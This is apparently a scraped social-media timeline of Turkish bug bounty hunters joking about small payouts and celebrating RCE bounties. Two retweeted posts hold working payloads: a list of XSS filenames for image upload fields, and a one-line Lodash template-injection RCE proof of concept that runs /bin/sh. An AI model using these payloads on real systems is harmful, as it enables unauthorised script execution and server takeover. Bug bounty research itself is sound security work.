Özkan

Bug Bounty

[Özkan @ozk4nn]

@0x94 Şşşttt

[Özkan @ozk4nn]

@alpagu @0x94 Biz hep buradaydik

[Özkan @ozk4nn]

@Quality3834 @0x94 Türkiyede bounty hediye çekleri ve teşekkürlerden ibarettir

[Özkan @ozk4nn]

@rizasabuncu @htozaktas @SektorelTroller @0x94 500 tl dir

[Özkan @ozk4nn]

Türkiyede Bug Bounty

[Özkan @ozk4nn]

@0x94 @rizasabuncu @htozaktas @SektorelTroller Haha evet

[Özkan @ozk4nn]

@rizasabuncu @htozaktas @SektorelTroller biraz önce bir petrol şirketi bir açık daha bulursan :d hediye yakıt verelim dedi. @0x94 ağlıcam

[Özkan @ozk4nn]

@mertokuyaz Neden türkçe yaZmıyorsun?

[Özkan @ozk4nn]

@0x94 Guzellği

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

#BugBounty
If you find a file upload function for an image, try introducing an image with XSS in the filename like so:

<img src=x onerror=alert('XSS')>.png
"><img src=x onerror=alert('XSS')>.png
"><svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png

[Harsh Jaiswal @rootxharsh]

Exploited Lodash SSTI with @iamnoooob via process binding spawn_sync. Here's a tweetable RCE PoC
${x=Object}${w=a=new x}${w.type="pipe"}${w.readable=1}${w.writable=1}${a.file="/bin/sh"}${a.args=["/bin/sh","-c","id"]}${a.stdio=[w,w]}${process.binding("spawn_sync").spawn(a).output}

[Özkan @ozk4nn]

#forex #bugbounty thanks @0x94

[Özkan @ozk4nn]

0day Rce 4.000 $ thanks @0x94 #hackerone

[Özkan @ozk4nn]

#comodo rce :p

[Özkan @ozk4nn]

#HackBounty'den evi dizdik :) Ülkemizde güvenliğe önem yavaş yavaş gelişiyor. @0x94

[Çok İyi Bu @CokiyiBu]

"Hepimiz mutlu olmak için kendimize yalanlar söyleriz."